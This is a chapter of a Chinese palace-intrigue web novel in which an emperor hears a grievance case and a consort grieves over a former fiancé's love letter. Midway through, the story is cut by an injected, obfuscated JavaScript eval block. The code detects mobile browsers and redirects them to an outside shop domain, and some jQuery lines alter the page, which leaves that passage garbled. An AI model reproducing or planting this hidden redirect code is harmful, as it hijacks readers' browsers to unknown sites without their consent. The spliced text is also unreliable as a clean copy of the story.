文景帝在昏睡中,恍忽来到一黢黑无光处,耳边天雷轰轰,隐约可见云层之上湛然神光。
云层之上,传来喝问——
胡不公!
文景帝一下惊醒,那雷声反更清晰,一下一下,从长安右门的方向传过来。
文景帝“嗬嗬”喘了两口,床帘外立马多了道佝偻的身影。
“圣上醒了。”
文景帝问:“外头,嗬,外头什么声音?”
“不知何人在敲登闻鼓,封指挥使已经着人去看,却不知将人领到哪里,在外间等您醒来拿主意。”
登闻鼓本就为百姓鸣冤而设,文景帝不由得想起那个梦。雷公问:胡不公?难道是在质问?还是警醒?又或者就是在点这一桩案子。
想到这里,文景帝费力地抬起上身,喘着气道:“把人带过来……我要亲审……”
董玉莲忙撩开帘子,挂上金钩,一边道:“秦王殿下在外头,您没醒,他就一直等着……”
董玉莲故意说的慢,果然,文景帝一想到秦王便心头火起,不等说完就打断道:“我不想见!既然没杖死,就留着这条命回去反省,没有我的准许不得出来!”
“是。”
董玉莲使了个眼色,旁边的小太监自去传话。
主敬殿外的月台之上,雪早已扫清,地面却仍湿着。秦王躺在担架上,唐直抒不敢让他过了地上湿气,命人一直抬着。
等了一刻钟,秦王靠意志强撑着,眼见已是进气多出气少。
唐直抒心神战栗,不知第多少次苦声规劝:“殿下,圣上不见啊!咱们要不还是先回吧,回去找个医官看一看,等好了再来请罪。”
秦王被这一声唤回一些神智,从喉咙里发出含糊的声音,勉力睁开眼,直直地盯着眼前紧闭的槅扇门。
“……不。”
他也不知自己不甘的是什么,是从未拥有的父子之情、君臣之义?亦或是看着旧友手刃恩师,所有的一切都离他而去的意难平。可他心里竟如明镜般透亮,知道承天门前那一切都是因他而起,怨不能怨,恨不能恨,于是万念俱灰,只能归咎自己软弱无力。
心头的万般滋味随着寒冷北风而逝,最后留下的竟只有苦意。
他不能回,也不想回。
干脆死在这儿算了,所有账一笔勾销,日后也不会再多亏欠。
想到这儿,他闭上眼,气息慢慢弱了。
唐直抒看着秦王变得灰白的脸,颤颤伸出手指至鼻下,好不容易感受到一丝呼吸,心头大骇,扑到门前,高声哭诉:“圣上!秦王殿下受完五十杖,拖着伤躯来此向您谢赐杖之恩!您不见,他谢恩不成,只能当您不肯原谅他,就在此谢罪了!”
殿内本就安静,这一声传到了文景帝耳里。
董玉莲正蹲下去提鞋,头顶上,文景帝忽然道:“束继文杀了?”
“封指挥使亲自带人去承天门。”
“他亲手杀的?”
董玉莲静了一息,不得不答道:“是……冯矩动的手。”
“冯矩?”文景帝慢慢地道,“我没记错,他曾拜在你门下,受你指教。”
“圣上!”
董玉莲扑通跪地,手里还拽着鞋子,眼里转瞬布满泪花,字字发自肺腑:“老奴岂敢啊!那冯矩是个白眼狼,早与奴婢势不两立。奴婢对天发誓,若冯矩此举有我半点授意,就让我死后堕十八层地狱!”
文景帝没有说话,室内一片寂静。
董玉莲心神耗费甚多,跪了一会,渐渐眼前发黑,忽听头顶文景帝幽幽道:“朕一听到老二他来,还以为是来向朕问罪的。”
董玉莲松了口气,再不敢耍小心思,应道:“圣上恕老奴多嘴,毕竟是二十多年的父子,秦王殿下心里头还是念着您的好的。”
文景帝心已经软了。
“五十杖啊。他这身子骨和脾气一样的硬……长路难熬,别回去了,就让他先在东暖阁歇下,传廉院判看看。”
东暖阁刚走一个七皇子,又住来一个二皇子,病来伤去的。文景帝自来迷信,想到这里,不由有些没底。
莫非当真是他做了什么错事,老天降罪于子息事上?
等文景帝穿戴完毕,一步一蹒跚地坐到宝座上,堂下已经跪好了一道血污的身影。
敲登闻鼓者须先受五十杖,以示鸣冤之决心。给这人刑杖的乃司礼监太监,受上头示意,杖杖要命。幸而林元海及时出现,以身作保,那群太监实在撼不动这尊大佛,才兢兢地收了杖,眼睁睁看着林元海将人护送到了宫里。
这人能撑过丧命棍,自有几分毅力,身上疼痛仍面不改色。文景帝一出现,他便伏在地上,掏出早已写好的状文高举过头顶,大声悲呼:“请圣上为束家、为草民叔爷束继文平冤!”
随堂太监刘义双手接过状文,低着头上了须弥座,交至董玉莲跟前。
董玉莲低着头,不知为何迟迟不伸手。刘义心里纳闷,抬起眼皮子,极轻地唤:“董公公?”
董玉莲这才僵僵地接过,躬身走向宝座,两步路,鬓角却凝出了细微的汗。
文景帝面无表情地问堂下:“你是束继文的族孙?”
“草民是。”
文景帝闭上眼,神情可怖,只对董玉莲说了一个字:“念。”
午后,黎月牵着刚刚退烧苏醒的李琢到衔青宫主殿寻乔燕。却见本该贴身服侍的宫人皆候在廊下。作为一宫掌事的宜婵亲自守着门。
气氛有些低沉。
李琢心思敏感,甩开黎月的手,快步走到宜婵跟前。
“你们怎么都在外头?母妃呢?”
文景帝将他记在乔燕名下,以后乔燕便是他名义上的母亲,这声“母妃”喊的自然是乔燕。
黎月:“七殿下方醒,说要见娘娘,我劝不住,只能跟着来了……”
宜婵微摇了摇头。
黎月忧心忡忡:“娘娘不见我们就算了,连七殿下也不见吗……”
李琢担心道:“这是怎么了?”
不等宜婵说话,旁边的齐思嘉眼圈青黑,恹恹地插嘴:“娘娘睡了大半天,朝食、午食都没吃,原封不动地端了回去。”
宜婵瞪了齐思嘉一眼,给李琢行礼,面露为难:“请殿下恕罪,娘娘连日劳形,眼下还在休息。”
李琢虽然心里担忧,却没再纠缠,极为懂事地道:“那我等会再来。”
黎月心头一松:“奴婢送您回去。”
看着七皇子的背影消失在如意门后头,宜婵无声地吐出一口闷气。想了想,她叮嘱齐思嘉守好门廊,自个儿轻推门而入,来到内间门口,探头朝内看去。
床上竟空无一人。
宜婵吓了一跳,逡巡一圈,在梳妆台前看到了乔燕的身影。
乔燕像是一时兴起下的床榻,未穿外衣,头上还梳着白日的发髻,有几缕头发丝从额前垂落。案上的黄花梨镜奁最下一层抽开一半,乔燕就这么静静地以手轻触,垂头看着。
这妆奁乃姨娘留给乔燕的遗物,也是她从乔家带出来的唯一私物。经西苑,入宫城,几添曲折,最终静静地置于衔青宫的桌案一隅。
宜婵心里一酸,喃喃喊了声:“五娘子……”
乔燕闻言,转头看她,微微一笑:“什么时候来的。”
宜婵收拾好心绪,走进内间,拿起架子上的衣服:“娘娘怎么衣服都不穿,外头事儿一茬接着一茬,少不得您奔波,更要仔细身体。”
乔燕展开双臂,配合穿衣。
“方才是恒奴来了吗?”
“是。奴婢以为娘娘还睡着,就让他回去了。娘娘要见吗?”
乔燕摇摇头:“过一会儿我去主敬殿,到时候你送恒奴去景仁宫。皇后孤单一人,七皇子过去尽一尽孝道。”
这个时候为什么突然要送七皇子去皇后身边……宜婵扣盘扣的手一顿,再开口时声音竟有些颤:“娘娘……”
乔燕温柔地拍了拍她的手背:“若我落锁时分未回,你再去含章宫给孙贵人捎个口信,告诉她七皇子所在,她若有心,也去皇后那里凑个热闹……届时你也不必回了,就留在那里看顾他们母子,那孩子与我有缘,有你在,我也放心些。”
“让黎月去好了,奴婢陪着您。”
“我不需要你陪,”乔燕从镜子里注视着她,语气坚决,“宜婵,十三岁以后你一直在我身边,伴我长大,对我来说便如半个姐姐,你若真懂我,就不要拒绝。”
宜婵哽咽着说了声好。
衣服穿好,宜婵见她头发有些乱,便索性打散发髻。
“奴婢去叫香云来给您梳头。”
“不必了,现今梳太精细的发式反而易落下话柄。你随便梳个简单的,用那套银枝点翠的首饰,既素净,也不会惹圣上晦气。”
“好。”
宜婵拿起梳子,握起一把青丝,慢慢理顺。主仆二人自入宫后已许久未有这样独处的时光,一时恍惚觉得回到了从前。
宜婵目光落在镜奁上,心中酸涩,说道:“娘娘,于海听您的话去打探消息,半个时辰前就回来了,您什么时候见。”
乔燕一怔,膝上的手不自觉地捏住了袖口。
“现在吧。外间回话。”
宜婵出去嘱咐人传话,复回来梳头。不多时,外头传来声音。
“奴婢于海,给娘娘请安。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100360|193889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>乔燕出神地看着黄花梨上的一块流水纹,没有开口的意思。宜婵便替她出声:“把你听来的尽告诉娘娘,不得瞒误。”
“是,”于海道,“今晨开宫门后,何舂状告元辅族人占田欺民,几乎与此同时,不知情的元辅携三百余人跪谏承天门,圣上大怒,判斩立决,秦王阻拦不成,翰林院修撰冯矩拔刀杀元辅于人前……”
乔燕一惊:“谁拔刀?”
“冯矩。”
“哪,哪个冯矩?”
“翰林院修撰冯矩。”
于海答完,室内竟一时没声了,他不知道发生了什么,有些忐忑地等了会儿,终于听乔燕说道:“继续。”
“是。”
于海无声地吐出一口气,“之后束家人敲响登闻鼓,面圣伸冤。不多时,传何舂、冯矩,和一个廪生进殿,那廪生据说便是状告束家的原告。到了巳时,廉院判入殿。又过了一会儿,锦衣卫带刑具入殿,再出来,就是几个太监拖着原告的尸体……奴婢找相熟的太监打听了下,听说这原告招供,乃受了董党指使,才诬告元辅,做下这等丧良心的事。之后圣上召刑部、都察院、大理寺堂官觐见,连午食都没吃……哦对了,还有,赵王听到消息,前去为董玉莲求情。奴婢也就只能打探到这儿,一直到奴婢从主敬殿回,殿门都不曾再开启过,后面的就不知道了。”
还有什么不知道的。
此一案,束家必有铁证洗清冤屈,董玉莲诬害当朝首辅,这一回哪怕文景帝都包庇不了他。
铡刀将他的性命永远留在今时今日,而文人的笔会将他钉死在齐朝的史册上。
而何舂和冯矩呢?他们一个“诬告”束继文,一个亲手杀害束继文,恐怕也只有一死。他们的死大快人心,不会有人知道他们做了什么,只会在千年百年之后,仍遭人唾弃,背负骂名。
乔燕攥紧拳头,闭上眼,遮住眼里一闪而过的水光,轻声说道:“辛苦了,你下去吧。”
她自以为表现镇定,可当话说出口,才觉哑在喉咙里,只有近处宜婵听得见。
宜婵大声重复了一遍。
于海告退。乔燕继续道:“你也出去。我想自己待一会儿。”
宜婵略一迟疑,听话离开。出内间时,她忍不住回头看了一眼,只看到乔燕眷恋地抚上妆奁。
看到这一幕,宜婵几乎要落泪,不忍再看,阖上了门。
妆奁最下一层装着什么,宜婵自然知道。
从前乔家三位郎君与冯矩相交莫逆,书房里总有他的手抄。乔燕和冯矩定亲之后,时常从兄长口中听到对他的称赞,心里既好奇,又有些仰慕,终于有一回大着胆子偷溜进乔湛的书房,脸红心跳地偷藏了一张。
后来才知那是书院的课业,冯矩为此受了师长一顿责罚。
乔燕心里愧疚,把那纸文章还给乔湛。乔湛将她狠狠训了一顿,好歹被乔翀拦住。两位兄长转头代她向冯矩赔罪。
月余后,冯矩来府中访友,托乔翀送来一柄折扇。
乔燕打开扇子,不想从里头掉出一张裁得细窄的纸条。
乔翀脸霎时黑了一半,眼疾手快,一把捞住,一目扫过,没觉出什么失礼之处。加上一旁的乔燕央求,便不情不愿地交给她。
薄薄一张泥金纸,每一个字乔燕都记得——
五娘淑览:草率提笔,祈恕唐突。盖因桃枝横牖,色恒清昼。前情之事,尔兄倶陈,仆未曾置之于心,五娘但勿介怀。
子规谨书。
——也许是因为看到窗前横生的桃枝,和清辉的月光,所以忍不住草率地写下这封信,请你原谅我的唐突。之前的事,你的兄长都已告知,我没有放在心上,你也不要介怀。
翻过来,背面还画着一支桃花,并一行小字:
惟斯一萼,不共春瘦。
乔燕心口砰砰直跳。原来克己复礼如他,也有这般内敛又孟浪的情话。她心里骂他登徒子,又忍不住看了一遍又一遍。
乔四郎看着妹妹涨红的脸,才后知后觉地反应过来,一张脸黑如锅底,撸起袖子跑去书房,一副不死不休的架势。
乔燕心里焦急,提着裙子跟上去,到书房门口时,恰听得冯矩无奈的声音:“……怎的被你瞧到了。”
他又不怕死地加了句:“你孤家寡人,是以不懂。”
后来乔燕就想,若没有最后那句话,或许四哥的那一拳还不会揍下去。
文景三十六年的少年会因为看到桃花、月亮,而忍不住写下一封唐突佳人的信。
文景四十一年的青年镣铐加身,这一天大雪纷飞,既无桃花,想来夜里也无皎月,唯有深宫院墙后,抱着折扇、捂住嘴无声嚎哭的宫嫔。